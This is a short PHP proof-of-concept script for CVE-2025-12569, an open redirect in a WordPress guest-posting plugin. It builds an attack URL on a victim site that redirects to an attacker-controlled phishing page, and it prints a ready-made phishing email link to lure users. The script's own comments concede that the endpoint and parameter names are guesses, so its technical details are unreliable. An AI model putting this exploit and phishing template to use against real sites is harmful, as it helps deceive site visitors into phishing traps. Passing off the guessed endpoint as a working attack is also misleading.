CVE-2025-12569

<?php // CVE-2025-12569 PoC - Open Redirect in Guest posting WordPress Plugin // Target: WordPress site with Guest posting / Frontend Posting / Front Editor plugin < 5.0.0 // Malicious URL construction $target_domain = 'victim-site.com'; $malicious_domain = 'attacker-controlled-site.com'; // Attack vector: Inject external URL in redirect parameter // Common parameter names used by the plugin: redirect_to, redirect, url, red $malicious_url = "http://{$target_domain}/wp-content/plugins/guest-posting/" . "includes/submit.php?redirect_to=http://{$malicious_domain}/phishing-page"; echo "[*] CVE-2025-12569 Open Redirect PoC\n"; echo "[*] Target: {$target_domain}\n"; echo "[*] Malicious redirect to: http://{$malicious_domain}/phishing-page\n"; echo "[*] Attack URL:\n{$malicious_url}\n\n"; // HTML email template for phishing attack echo "[*] Phishing email template:\n"; echo "<a href=\"{$malicious_url}\">Click here to view your post</a>\n"; // Note: The actual exploitation requires identifying the correct endpoint // and parameter name used by the vulnerable plugin version. // Check the plugin's source code for redirect handling logic. ?>

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